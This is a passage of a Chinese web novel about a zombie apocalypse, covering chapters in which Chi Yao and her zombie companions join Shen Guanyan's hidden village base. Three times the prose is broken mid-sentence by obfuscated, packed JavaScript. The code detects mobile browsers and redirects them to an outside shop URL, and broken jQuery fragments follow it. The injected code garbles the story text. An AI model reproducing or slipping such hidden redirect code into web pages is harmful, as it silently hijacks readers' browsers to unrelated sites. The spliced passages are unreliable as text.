池遥思索片刻,回答道。 日出之前,池遥等人的车子启程。 日出过了好一段时间之后,沈观离的车子离开了园区。 青年的脸色已经不再苍白,他歪在座位上,打开了对讲机。 “李姨,沈观宴现在在家吗?” “小少爷不在家,他已经很久没有回基地了!” “啊......”沈观离叹了口气,手指重重按住眉心,“大概有多久了?” “一个多月吧?上次也是消失了一个多月突然回家住了几天又走了,给老爷气坏了......” 对讲机对面的中年女人滔滔不绝,青年握着对讲机的手微微颤了一下,慢慢放开对讲机,缓缓上移,捂住了那双带着苦意的眼睛。 103. 饶城基地1 “池遥,”缓缓上升的阳光之下,韩厢月轻轻叫出她的名字,“你们分别时,沈观离说的话大概是真心的。” 他用能力无意中读到了沈观离的真意,斟酌半天,还是告诉了身边的池遥。 “......我知道。”池遥点点头,深深叹了口气。 他们现在都不知道要去往何处,怎么敢带上沈观离呢? “哦对了,我还有一件事想告诉你。” 韩厢月的语气少有的有几分犹疑,池遥隐约察觉到,他想说的事似乎极为重要,立刻端正坐姿点了点头。 “你说。” 半天,韩厢月也没有开口,他原本单手操作方向盘,此时却突然把另一只手也放在了方向盘上,双眼死死盯着前方的路,眉头微微蹙了起来。 “池遥,这附近有人。” 几乎是韩厢月话音刚落,身后的陈霄也立刻开口。 “这里似乎有人类聚居地。” “这里吗?” 池遥一时有些发愣。 饶城的郊区是一片山地,他们的车子沿着大路行驶的时间越长,窗外的景色就越荒凉,时不时会经过一个村庄,但路过的大部分村庄都充斥着丧尸,已经没有了活人的影子。 不远处,正是一个被高高的围墙围住的小村庄。 高等丧尸的嗅觉十分敏锐,隔着很远的距离就能闻到人类的气味,因此,池遥不担心他们话中的真实性。 只是,现在还会有藏在山村中的基地吗? “可以绕路吗?这附近还有其他路吗?” 毕竟整个车厢里几乎都是高等丧尸,还是远离人类聚居地比较好。 “没有了,只有这一条大路没有被堵死,剩下的小路现在都无法通车了。”韩厢月叹了口气,“只能硬着头皮往前开了。” 只是路过的话,应该没关系吧? 池遥回过头,目光扫过车厢内的每一个人,心悦和卢淼并排坐在副驾驶后,作为车里唯一一个普通人,心悦挽着卢淼的胳膊,完全不介意卢淼的丧尸身份。 “你们中有人有吃人的欲望吗?”她又问了一遍,见所有人齐齐摇头,才松了口气。 “没事的,之前在白眉湖庄园的时候我们也没有对幸存者下手。”陈霄看出了池遥的担心,“的确会有一点饥饿感,但是可以控制,而且吃熟肉或者其他肉类也能稍微缓解一些。” 这之前,因为食物有限,高等丧尸们从来不会主动吃池遥的食物,但池遥在影视乐园里买了一些变异兽肉串存放进了空间里,刚才和心悦分享肉串时,身边的几个高等丧尸也跟着吃了一点,才发现高等丧尸食用肉类也可以饱腹。 只不过,既然高等丧尸吃其他物种的肉也同样可以缓解饥饿,那么丧尸是否存在吃人以外的生存方法? 这个念头闪过的同时,池遥立刻就想沿途找些动物来试验一下心中的想法,可惜这个世界的野生动物在第二次变异潮后几乎全部变成了杀伤力惊人的变异兽,据说杀伤力比一阶丧尸还要强。 车子继续向前开,池遥不准备造访小山村里的避难所,她这支队伍的人员组成过于复杂,不适合融入外人的基地,更适合找一个荒无人烟的地方作为自己的驻地。 然而,车子刚行驶过村庄外,车前不远处突然响起了爆炸声,前方的路面凭空发生了爆炸,韩厢月反应极快,一个急刹车,车子紧急停在了路边,才勉强没有被爆炸波及到。 “我下车看看情况。”池遥打开车门。 “我和你一起去。”韩厢月立刻也要跟着下车。 “你还要留在这里开车呢。”池遥按住他的肩膀,把他按回驾驶座,“我的能力可以自保,万一情况不对,你就马上开车离开,不用在乎我。” 她独自一人下了车,站在车子旁,谨慎地没有向前走,只抬起两只手臂,做出一个投降的姿势,以表示自己毫无恶意。 半晌,她的身后传来一阵脚步声,池遥想回头看,却又担心造成误会,按捺下好奇心,停在原地不动。 “池遥。”然而,从她背后传来的,却是一个略显熟悉的声音。 “诶?” 池遥转过身,才发现,站在她面前的,是一个十分熟悉的青年。 面前的人身形高大,五官线条锋利英俊,穿着一身极为普通的黑衣,最为显眼的,就是他微长的发尾,颜色浅淡,在阳光下反射出耀眼的金光。 “沈观宴?” 池遥完全没有想到会在这个偏僻的小村庄遇到沈观宴,最为荒谬的是,她早上刚刚与沈观宴的兄长分开,中午就遇上了沈观宴本人。 “你怎么会在这儿?” “我也想问这个问题。”沈观宴显然也没想到会在这里遇见池遥,神色变得有些微妙,他沉默了一会儿,才开口,“霍大哥还和你在一块儿吗?” “我们分开了,他有其他事要做。” 池遥摇摇头。 “那你跟我来,外面不安全,跟我进基地谈话吧。” 沈观宴抬手,做出几个手势,没一会儿,村口紧锁的小门就从内部打开,沈观宴伸手示意池遥进村,池遥这才意识到,这个小型基地似乎和沈观宴联系极深。 从村外驾车路过时,只能看到整个村子都被高高的围墙围了起来,却看不清这个村子究竟有多大,此时进了村才发现,这个村庄的面积比想象中大了不少,靠近马路一侧是一排乡村自建房,而村庄内一大半的面积都是农田,远远看去,能看到农田内种了不少农作物,这个基地里的幸存者已经基本实现了自给自足。 “这边。” 沈观宴带池遥进了村口第一家自建房,这是一个三层小别墅,外墙用钢板等物品做了加固,看起来不伦不类。 自建房一楼大厅空空荡荡,只剩下一张足够十几个人围坐在一起的长桌,池遥猜想这就是基地的会议室,沈观宴坐在桌子一侧,示意池遥坐到对面。 “所以,你为什么会来这里?”他问。 上一次分开时,霍云初和沈观宴说他们要去云城,此时却出现在饶城。 “我和霍云初本来去了云城的基地,但是出了些意外,霍云初有其他事去了北方,我带着队伍剩下的成员在找新的驻扎地。” 这一番话说得半真半假,沈观宴听后点点头,不知道信了几分。 “你呢?你怎么会在饶城,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767751|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没回北方基地吗?” 池遥抓住机会反问他。 “说来话长,”沈观宴叹了口气,“我也不知道该怎么向你解释,北方基地情况太复杂了,而且有很多匪夷所思的规矩,我不太喜欢回那边,所以一直找借口外出。” “这里是饶城基地,大概也是饶城境内唯一一个接收普通人的基地了。第二次变异潮后,北方基地就不再接收普通人了,很多普通人拼了命才到北方基地门口,却没有进入的资格,我实在看不下去,就把这些人带到这里,建了一个大部分都是普通人的小型基地。” “这个基地是你建的?”听了这话,池遥惊讶极了,沈观宴的形象完全就是标准的不学无术纨绔子弟,没想到他居然十分可靠。 但是,回想起之前和沈观宴的短暂接触,池遥也能感受到,沈观宴的个性和行事作风相比林北辰简直是非常可靠,而且与林北辰不同的是,沈观宴行事还算有底线。 只是沈观宴的外表和气质实在太有迷惑性,而且还是负面效应。 “是的,但是这件事只有我和饶城基地的幸存者知道,北方基地没人知道这件事,林北辰也不知道。”对上池遥佩服的视线,沈观宴叹了口气,“别把我想的太好,我也是为了以后做打算。我在家里排第二,家里一直默认是我哥来继承家业,末日后,北方基地掌权者的位置应该也是由我哥来继承,到时候,我恐怕无法留在北方基地,还不如早早给自己留一条出路,饶城基地就是我给自己策划的出路。” 听到沈观宴的话,池遥有些困惑,却什么都没说。 她今早刚和沈观离告别,对沈观离的印象十分深刻,沈观离此人浑身萦绕着柔和又压抑的氛围,宁可牺牲自己也要保全别人,看起来完全就是个老好人,老了会被骗买保健品的类型,并不像是会对亲兄弟赶尽杀绝的个性,怎么会容不下亲弟弟。 “你和你哥哥关系不好吗?” 她试探着问。 “嗯......”这个问题似乎把沈观宴问住了,他沉吟一会儿,叹气道,“非要说的话,我们的关系其实还可以。只是我有些看不惯他的性格,他应该也对我有怨言吧。” “但最大的问题不在我们两个身上,末日前,继承人的位置一直是我哥哥的,末日后,北方基地里分裂成了很多派系,有些派系支持我哥哥继承家业,有些派系更亲近我,会打着我的名义做很多事,就比如林北辰,北方基地所有人都知道他是我的手下。我哥那边应该也是同样的情况,我们的关系并不差,但不同派系,很多居心叵测的人会打着我们的名义搅浑水,这是我们无法干预的。” “我哥虽然和我关系一般,但他不可能要杀我,只是一旦他继承了基地掌权者的位置,会有很多人打着他的旗号追杀我,我还不如自己主动离开基地。” 沈观宴一解释,池遥立刻就明白了,类似的话她之前也听霍云初说过,只是这一次听沈观宴本人坦白这些,才有了更强烈的真实感。 “你也不容易啊。”她拍拍沈观宴的肩膀。 “你的队伍有多少人,如果你们想要找驻地的话,来我的基地如何?” 突然,沈观宴主动开口邀请。 104. 饶城基地2 池遥实在没想到,沈观宴会对她发出邀请。 平心而论,饶城基地的地理位置和条件很不错,有沈观宴这样实力强大的能力者坐镇,如果只有池遥一个人,她很乐意在饶城基地停留下来。 但是,问题在于她的伙伴,几乎全部都是高等丧尸。 “算上我一共有八个人,我们倒是很想来你的基地,但是......”池遥思考了半天,也不知道该怎么委婉地把高等丧尸的事告诉沈观宴,“你要不然跟我去车上看一看?” “可以。”沈观宴点点头。 于是,二人再度走出村庄,池遥的车子仍旧停在路边没动,池遥犹豫了几秒,伸手拉开了车门。 “你看。” 沈观宴走上前,一眼看到了坐在车门前的陈霄,眼中闪过一丝讶异,如果他记得没错,这个孩子已经被丧尸咬了,为什么现在仍旧好好地坐在这里。 他再向前面看去,看到了坐在驾驶座上,面无表情,警戒地盯着他看的韩厢月。 这个青年难道不是被林北辰杀死了吗? 一瞬间,沈观宴瞪大了眼睛,抬手指向车里的陈霄,然而,刚伸出手,手腕上形似手表的小型仪器突然发出一阵尖锐的报警声。 “你是!” 沈观宴一手关仪器,不可置信的目光落到陈霄身上。 “你是丧尸?” “高等丧尸。”池遥在他身边解释道。 什么都不如亲眼看到有冲击力,沈观宴盯着陈霄发愣,陈霄见过沈观宴,对沈观宴没什么好印象,但池遥站在沈观宴身边,只能冷哼一声就扭过头不看他了。 没过一会儿,沈观宴复又抬手,挪向与陈霄隔着过道的卢淼,警报声再次响起,他又低头关掉。 紧接着,他表情发愣地把手伸向了其他人的方向,除了心悦和关振,都响起了刺耳的警报声。 “你的同伴......怎么都是高等丧尸!”他瞪大了眼睛,看向了池遥,池遥则好奇地看向沈观宴手腕上的仪器。 “这是什么?” “能够检测丧尸的仪器,上次分开后林北辰给我的。”沈观宴收回手,紧紧蹙起眉头。 “原来如此。”池遥点头,她想到上一次阿霓也是通过同样的仪器辨认出韩厢月等人是高等丧尸的,看来以后要避开人类基地了。 “我的同伴都是高等丧尸,你的基地应该容不下我们吧?” 这个问题答案是肯定的,池遥看着沈观宴的眼睛,等待他的回答。 “你的同伴,吃过人吗?” 沈观宴忽然开口问道。 “那自然是没有。”池遥猛摇头。 “那……你们要来基地里看看吗?”沈观宴的神色隐隐有些犹豫,“我的基地里大部分都是普通人,除了我以外只有几位能力者,但都不是攻击型能力,你的伙伴能力应该都不弱吧。” “这个基地是第二次丧尸潮后才建立起来的,实力不足,岌岌可危,如果你们能来的话,或许能补足我们的实力问题。” 池遥回过头,看向车里默默听他们聊天的几人。 “你们怎么想?”她问。 “去看看吧。”韩厢月第一个走下车,见他下车,其他人也陆陆续续跟着下了车,只剩下一个关振,韩厢月再度用手铐将他拷在后排座椅上。 “那是?”沈观宴直到这会儿才认真打量起关振,只觉得看上去十分眼熟,似乎在哪里见过。 “是在海城研究院的研究员,在我们手上已经没用了,我还没想好怎么处置,你需要的话可以给你。”池遥很大方。 “确实很需要。”沈观宴点点头,目光扫过关振身上的绳索,“放心,我不会把他带去北方基地的,只会把他留在这里。” 于是,除了关振,一行人全部下车,跟随沈观宴前往基地内部。 这一次,进入村庄时,池遥仔细观察,发现沈观宴的三层小别墅附近有不少幸存者探头探脑,鬼鬼祟祟地观察着他们,但目光中感受不到明显的恶意。 “这里位于饶城的郊区,严格来说已经到饶城的周边县镇区域了,位置相对偏僻,两面环山,还算隐蔽。”沈观宴指向围墙外,村庄位于山地,附近高山的轮廓清晰可见,“正因为靠着荒山,山里变异兽种类很多,除了农作物以外,还有山里的资源和变异兽肉,基地里的食物资源非常充足。” “山里的变异兽很多?”池遥指指远处的山形。 “对,这里的山都没有被开发过,末日前就有很多野生动物,现在大部分动物都成了变异兽。”沈观宴点头。 池遥轻轻拽了一把身边韩厢月的袖子。 韩厢月理解她的意思,立刻点了点头。 几人继续向前走,穿过全是自建房的第一条路,这一次,映入眼帘的全部都是乡村风格的小院和平房。 “这里是基地幸存者日常生活起居的地方,刚刚的自建房大部分是公用活动区。”沈观宴介绍道,“基地里的幸存者差不多五十人,大部分负责农田里的作物,还有小部分有打斗基础的,会组成小队定期外出猎杀变异兽回来。” “基地里的能力者算上我一共有五人,平时我不在的时候由他们负责守卫基地,但这些人都不是攻击型能力,一旦有强大的能力者或三阶以上的丧尸入侵,基地就会崩溃。” 池遥点点头,这下,她总算是明白了沈观宴的意思。 饶城基地的地理位置很好,资源充足,很适合普通人生活,但弱点也显而易见,基地里的能力者太少,只有沈观宴一个强大的能力者,一旦沈观宴不在,这个基地的布防仿佛一张白纸,一扯就破。 而池遥等人的到来正好补足了这个问题。 接下来,沈观宴带池遥等人来到了农田。 基地内的幸存者显然不擅长农事,田垄和沟渠形状歪歪扭扭,看上去十分潦草,但田里的农作物却长势喜人。 “我们有两位能力和种植有关的能力者,在种植方面帮了许多忙。”看到田里的农作物,沈观宴的表情终于明朗了几分。 穿过农田,还有几个空置许久的鸡鸭棚,再往前走,就来到了村庄的另一头,这边只有零星几栋自建房,看起来十分荒凉,似乎已经空置很久了。 “基地里的幸存者都住在另一侧,这边还没有整理出来。”沈观宴看向池遥,“你们觉得这里怎么样?” 与普通人居住的另一侧相比,这里显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774297|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荒凉得多,但也十分僻静,空间很大,与此同时,既与普通人居住的区域隔开了一段距离,又不至于完全失去联系。 “你想让我们住在这里?”韩厢月问道。 沈观宴点点头。 客观而言,沈观宴考虑得很充分,给他们一行人安排的住所也恰到好处。 “我觉得,如果让我们留下来的话......”池遥回过头,看了韩厢月一眼。 “我不建议你向基地的幸存者隐瞒我们的身份。”韩厢月听到池遥的心声,顺着她的意思接道,“最好直接告知他们,住在这里的大部分是高等丧尸。” “我也有同样的想法。”沈观宴点点头,“一会儿我会聚集基地里所有的幸存者,开会商量一下。” “我还有一个问题。”池遥开口问道,“既然饶城的地理位置这么优越,为什么只有你们一个基地?” 在这个世界生活许久,池遥逐渐发现了基地的起名规律,只有当一个城市境内仅剩一个基地时,基地才会以城市名字命名。 “唔......”沈观宴反而用微妙的神色看她,“不知道你清不清楚,北方基地在第二次变异潮后进行了大规模扩张,吞并了周围省市所有的基地,这才成为我们现在知道的北方基地,之前是叫做首都基地的。” 池遥点点头,霍云初说过这件事。 “你的地理怎么样?” 这个问题,池遥不知道该如何回答。 她的地理知识自然是不错的,毕竟高中选了地理,但是她学的并不是这个世界的地理啊。 “饶城和首都的距离很近,北方基地成立不久,饶城的所有基地就与北方基地合并了,现在饶城境内,除了一个黑市以外,已经没有大型人类聚集地了,几乎所有饶城人都去到北方基地了。” 池遥这才恍然大悟,怪不得饶城基地收容的全部都是被北方基地拒绝的普通人。 因为饶城基地已经是现存所有基地中,距离北方基地最近的基地了。 “但是,这样的话,北方基地会允许饶城基地的存在吗?” “饶城基地现在规模太小,而且这里很隐蔽,北方基地还没有发现。”闻言,沈观宴叹了口气,“但继续发展下去的话,被北方基地发现是迟早的事,倒时候怎么办,其实我也没想过。” 池遥再次扫视一周。 饶城基地,几乎全部由普通人组成,建立在偏僻的村庄之中,拥有丰富的农作物和食物资源。 让池遥想到了一个熟悉的地方。 隐山。 她忽然想到什么,从吊坠中找出一样物品。 “沈观宴,你说过,这个基地林北辰不知道对吧?” “他不知道,未来我也不会告诉他这件事。” “那么,你知道他去隐山找的道具是什么吗?”池遥问。 “维持隐山保持隐形的道具对吧?不过他似乎一直没找到,从海城研究院回去后,他就放弃这件事了。” “是的,我想说的是,那件道具,现在在我手上。” 池遥摊开手心,手掌中是一枚流光溢彩的宝石戒指。 “如果用这个道具,饶城基地就不会暴露了吧?” 105. 饶城基地3 池遥指尖微动,将一点点能力注入进戒指之中,脑海中立刻显示出道具介绍。 【异空间戒指】 高级空间道具,能够将指定区域变为区别于现实世界的独立空间,使其从现实中完全隐匿,出入口由道具持有者自行设定。 自拿到阿霓的异空间戒指之后,池遥就一直在犹豫这枚戒指的用处。 她的目的从始至终没有改变,一直追随着曲卓的脚步,在找到曲卓的踪迹之前,不会在任何地方停留。 但异空间戒指显然是用于基地,避难所等驻地的道具,因此,池遥本想在带领韩厢月等高等丧尸找到驻地后,再使用这枚道具的。 然而,饶城基地显然更需要这枚道具。 沈观宴从池遥手中接过戒指,不需要池遥提醒,他就已经熟练地查看道具介绍,半晌,深深地叹了口气。 “原来隐山是这样形成的。” 很快,他就将戒指还给了池遥。 “我现在去召集所有幸存者,说明你们的情况并且开会讨论如何安置你们,如果你们愿意留下,我们再来讨论如何使用这枚戒指。” “池遥,你要和我一起吗?”沈观宴看向池遥。 池遥回过头,看向自己的同伴们。 沈观宴和池遥对话期间,并非所有人都在池遥身边聆听,卢淼心悦和陈霄三人在查看自建房,岳明和钱朗二人习惯性站得稍远一些,警戒四周。 只有韩厢月一直陪在池遥身边。 “稍等。”池遥向沈观宴示意,转身朝着岳明和钱朗的方向走去,而韩厢月则去叫卢淼等人回来。 “你们觉得饶城基地怎么样?” 等所有人聚齐,池遥问道。 韩厢月没有说话,只是侧头专注地看着她,而三个孩子看起来则十分兴奋。 “如果留在这里的话,我可以和心悦单独住一个大房子吗?” 池遥数了一下自建房数量,一共五栋房子,除了一栋看起来过于陈旧,无法住人,剩下四栋都可以居住。 “可以的。”她点点头。 “那我觉得可以留下。” 除了池遥以外共六人,除了一直不表态的韩厢月,其余五人都倾向于留在饶城基地。 “他刚才说的话都是真心的。”最后,韩厢月靠近她,轻声说道。 “我和你一起去吧。”最终,池遥看向等在一旁的沈观宴。 沈观宴点了点头。 二人再度穿过农田,走向村庄入口。 “除了围墙之外,这里还有其他防备措施吗?” 池遥忽然想起一件事。 “没有了。”沈观宴的笑容显得有几分苦涩,“正因如此,我才想要争取你们留在这里。” “不久前,我们得到一个消息。” 池遥犹豫一番,还是将盲眼婆婆的预言告诉了沈观宴。 “在北方野外游荡的丧尸越来越少,我们怀疑可能是有其他高等丧尸将整个北方的丧尸聚集起来,准备发动丧尸潮。” “如果真的有丧尸潮经过,饶城基地的布防根本没办法抵挡。”听到这个消息,沈观宴眉头紧蹙,深深叹了口气,池遥看到他的一只手紧攥成拳,“你说,如果使用道具将基地隐藏起来,能躲过丧尸潮吗?” 在此之前,这个世界从未经历过丧尸潮,这个问题超纲了。 “不知道啊。”池遥默默摇头,但想到主动离开的霍云初,又乐观地拍拍沈观宴的胳膊,“丧尸潮毕竟只是我们的猜测,不一定会发生。” 只要霍云初成为丧尸王。 就不会有丧尸潮的存在了。 再次回到会议室时,整个自建房一楼大厅挤进了几十人,池遥跟随沈观宴走进去,只觉得所有人的目光都落在了她身上。 “咳,”沈观宴走到会议桌主座前,面对着围绕会议桌站着的人群,轻咳一声,没有坐下。 “想必大家也看到了,就在刚才,基地新来了一个七人小队,现在我向大家介绍一下这些人的情况。” “我身边的这位是小队队长池遥,是一位珍贵的治疗能力者。”沈观宴伸手拉过站在他身后的池遥。 “除了她以外,剩余六人只有一位是普通人,其余五位都有能力......” 沈观宴没有直接说出池遥同伴的身份,而是给出了缓冲时间。 “但是,我刚刚用检测器检测过,他们并非是能力者,而是高等丧尸。” 他的语气平静极了,然而,围在他面前的人群中却引起了轩然大波。 一瞬间,惊讶,恐慌,质疑,嫌恶,充斥着各种情绪的目光如同刀子一般,直直扎在池遥身上。 只不过,这些人显然十分信任沈观宴,在沈观宴抛出如此重磅消息后仍旧没人打断他的话,众人都在等待他继续发话。 “他们并未是主动要入住这里的,而是我主动邀请他们加入饶城基地的。” 说到这里,沈观宴顿了顿,目光依次扫过面前的人,将他们的反应记在心里。 “首先,他们从被转化为高等丧尸到现在,从来没有伤过人。” 沈观宴的话显然带了一些个人色彩,说完这话,他扭头看向池遥,池遥冲他点点头,这些高等丧尸确实没伤害过好人。 “其次,我邀请他们的原因,归根结底只有一个,我们基地的实力实在太弱了。” “作为基地,我们有充足的农田,丰富的资源,优越的地势,但我们没有足够的实力守住拥有的一切。我们没有足够的战斗力,没有足够的武器和能力者,基地周边的布防也并不充分,一旦遇上真正的危机,我们一击即溃。” “我知道大家把信心都放在我身上,但我也要坦言,我并不是随时都在基地内,我时不时还要回到北方基地,我一个人守不住整个基地。” 池遥侧过脸,看向身旁的人。 沈观宴长着一张轻佻而桀骜的脸,然而一旦认真起来,也格外有气势。 “这五位高等丧尸中,有两位是攻击型能力,另外三位的能力偏向辅助,有这些人在,我们的战斗力会大幅上升,即便我不在,基地也有足够的实力对抗危机。” “除此之外,他们还带来了一位研究员俘虏,大家应该都明白研究员的重要性。” “不仅如此,他们手中还持有一样道具,可以将饶城基地隐藏起来,不让北方基地察觉到我们的存在。” 说完这些,沈观宴低下头,将一张白纸对折成两半,展示给所有人。 “我知道大家对高等丧尸的看法,因此,我不会强求大家接受,我们来进行实名投票。” “如果同意他们留下,就在左半面签名,不同意就在右半面签名,可以弃权。” “如果一半以上的人同意,我就会安排他们留在基地,我会让他们入住农田对面的自建房。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783094|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如果多数人反对,他们的车就在村外,我会把他们送离基地。” 说完这些,沈观宴率先落笔,在白纸左侧签下他自己的名字。 “因为是我邀请他们来的,所以我的态度很明确,我希望他们留下。现在你们可以做出选择了。” 他将纸笔递给离他最近的幸存者。 沈观宴的话说完了,投票白纸在幸存者们手中不停传递,幸存者们一边签字一边和身边的人窃窃私语,池遥能感觉有不少人在偷偷瞄她,但真正带有明显的恶意的目光却不多,也许是因为她本人并非丧尸,而是能力者。 沈观宴的态度很明确,他很希望池遥等人留在饶城基地,池遥没想过沈观宴会如此信任自己,甚至在得知同伴们高等丧尸的身份之后仍旧保持信任。 “在想什么?” 为了不影响幸存者们投票,在送出投票纸后,沈观宴就拉着池遥退到了角落里。 “没想到你这么信任我。”池遥坦白,“毕竟我们只见过一面,而且上一次......也不完全是同伴立场。” 他们甚至还打过一架。 “不只是信任你。”沈观宴叹了口气,“你的同伴里面,有好几位我都眼熟得很,也是霍哥的伙伴,霍哥的朋友不会是坏人。” “霍哥......虽然不知道他现在在做什么,但我们从小就认识,小时候两家家长忙,我哥又总生病,我和林北辰几乎是被霍哥带大的。” “你们关系那么好啊。”池遥不由地感叹一句,又想到忘本的林北辰,表情僵了一下。 “林北辰不太一样,唔......我们三个小时候被绑架过,我对那件事印象不深了,反正从被绑架过后,林北辰的性格就彻底变了,变得很偏激,进入末世之后更严重了。”沈观宴一看池遥的表情就知道她在想什么,为林北辰解释了几句。 “观宴!”这时,有幸存者喊沈观宴的名字,似乎也是一位在幸存者中颇有信服力的人。 “既然你说那几位高等丧尸不会伤人,我们刚刚也只是远远看了几眼,你可以让他们现在过来吗?我们得亲眼确定,才能做出投票。” 沈观宴看向池遥。 “可以。”池遥点点头。 很快,包括心悦在内的剩余同伴全部进了这个拥挤的房间,池遥的这几位同伴看起来弱不禁风,钱朗和岳明是年纪不大的青年,卢淼和心悦年纪与池遥相仿,陈霄还没长开,个头和卢淼心悦两人差不多高。 而习惯性站在池遥身旁的韩厢月看上去沉静温柔,身形过分清瘦,完全构不成威胁。 如果不是沈观宴事先说明,恐怕不会有任何人猜得到他们的丧尸身份。 即便如此,幸存者们还是尽可能和他们拉开了距离。 韩厢月站在池遥身旁,不够宽敞的空间内挤了太多人,一时间,众多心声涌入脑海,他脸色苍白几分,打起精神仔细听每位幸存者的心理活动,过了一会儿,伏在池遥耳边轻声说道。 “普通人还是很难接受高等丧尸。幸好我们看起来没有威胁性,而且,他们对沈观宴很信服。” 等了很长时间,所有幸存者都完成了投票,沈观宴将投票纸摊开平放在桌面上,白纸两侧都有不少名字,一眼看不出哪边数量更多。 沈观宴亲自计数,最终,左侧的名字比右边多四个,左边险胜。 池遥和同伴们,总算能留在饶城基地了。 106. 饶城基地4 “你真的要把这个道具送给我吗?” 走出房门,池遥与沈观宴二人一同来到村口,池遥将异空间戒指递到了沈观宴手上。 “我不会一直留在饶城基地,”池遥看向身边的沈观宴,“我来这里是为了找人,总有一天会离开的。” “但我的伙伴们不一样,他们是真的想找个地方驻扎下来。这个道具交到你手上,也是为了保护我的同伴。” 沈观宴点点头。 “林北辰也和我说过,你好像一直在找人。” 异空间戒指操作起来比想象中困难,要先精准划分空间范围,再设定出入口,沈观宴先尝试将一栋无人的自建房隐蔽起来,建了一个小小的异空间,搞清楚原理后,才解除空间,拿着戒指找基地其他几位负责人共同商量。 池遥则去了基地里的情报处,基地里使用晶核进行交易,但很多人为了方便,同样采用以物换物的模式,会将自己想换的物品写成告示贴在白板上,池遥想了想,从空间内找出一张便利贴,写下自己打算开设医疗处的声明。 公用活动区的自建房是公用的,池遥找了一间无人使用的房子,在门口贴上便利贴,医疗处每天上午限时开放,每天最多治疗十人。 对于现在的池遥而言,治疗十人并不困难,也不是她的极限,只不过饶城基地里的人数不多,十个人已经足够了。 她端详着眼前的便利贴,犹豫半晌,将印有曲卓照片的寻人启事贴在了便利贴旁边。 接下来,池遥等人度过了平静的一个月。 起初,饶城基地的幸存者们仍旧对高等丧尸心存忌惮,平日里从来不踏足池遥等人的生活区域,但沈观宴等人设计基地防御圈时需要高等丧尸们的帮助,因此,幸存者们总是在村口看到高等丧尸的身影。 沈观宴使用异空间戒指需要时间,而在异空间尚未展开之时,岳明使用他的能力,把村庄外圈笼罩在浓雾之中,一旦有生物闯进雾区,岳明会第一时间察觉到。 池遥不在时,韩厢月作为剩余伙伴的领头人,常常需要与沈观宴交涉,也经常在幸存者面前露面。 而剩余的高等丧尸则接替了外出巡逻的任务,每天去附近山上猎杀变异兽。 这期间,池遥发现,丧尸似乎的确可以通过食用变异兽的肉来生存,只不过据韩厢月等人描述,变异兽的肉只能缓解饥饿,但对于丧尸而言味同嚼蜡。 而在这一个月内,池遥每天上午在医疗处治疗伤患,下午和同伴们外出巡逻,或者和沈观宴打斗切磋,过得十分充实。 只不过,安逸的生活并未让她松懈下来,她的睡眠质量仍旧不高,夜间总是会因为窗外的响动惊醒,浓重的不安感无处缓解。 足足用了一个月时间,沈观宴终于将整个饶城基地变成了独立于现实世界的空间,从外远远看去,饶城基地所在的地区变成了一片荒芜的废墟,根本看不出这里隐藏着一个小型基地。 而基地的出入口共有两处,一处在村口,一处在池遥等人居住的自建房附近,出口并未设限,但入口却十分复杂,显然是吸取了隐山被林北辰的人侵入的教训。 “还是没有结果吗?”沈观宴问。 “我几乎把所有人都问了一遍,大家都没见过我朋友。”池遥叹了口气,目光停留在手中的寻人启事,脑海中想的却是在黑市情报处看到的寻人启事。 黑市人来人往,人流量非常大,会不会已经有曲卓的消息了? 在饶城基地度过了休养生息的一个月,她不能再沉溺于平静的生活了。 “我最近一直在想,我或许......” 一句话还没说完,脑海中忽然传来陈霄的喊声。 “池遥姐姐!出事了?” 池遥的话音戛然而止。 陈霄,什么情况? 她在脑海中问道。 “池遥姐姐,快来山上!秦朗和岳明突然发疯了!” 说完这句话,陈霄就断开了联系。 从沈观宴的视角,只见到池遥话说到一半,表情突然僵住,她的目光几乎是瞬间变得犀利而凝重,连带着沈观宴也一同蹙起了眉。 “出什么事了?” “去山上。陈霄他们出事了。”池遥第一时间就朝着村口冲去,沈观宴来不及问她,只能追在她身后,跟随着她一起冲上了距离基地最近的一座山。 拜这段时间的锻炼所赐,池遥的耐力提高了不少,狂奔了接近半小时,看到陈霄等人时,虽然仍旧气喘吁吁,直不起腰,但已经从以前跑完八百米就濒死的状态中脱胎换骨。 隔着遥远的距离,池遥就看到了漫天遍地的火星,几乎铺满了整个山路。 在火星正中间,是缠斗在一起的卢淼与钱朗,而陈霄则站在一旁,他身边是被藤蔓紧紧束缚的岳明。 “什么情况?” 池遥立刻冲向陈霄,见他没有受伤,才松了口气。 而追着她跑来的沈观宴则帮助卢淼擒住钱朗,将钱朗也五花大绑起来。 “不知道什么情况,钱朗突然失去神志,发疯对我们出手,岳明情况相对好一点,他还保有理智,但也控制不住对我们出手。” 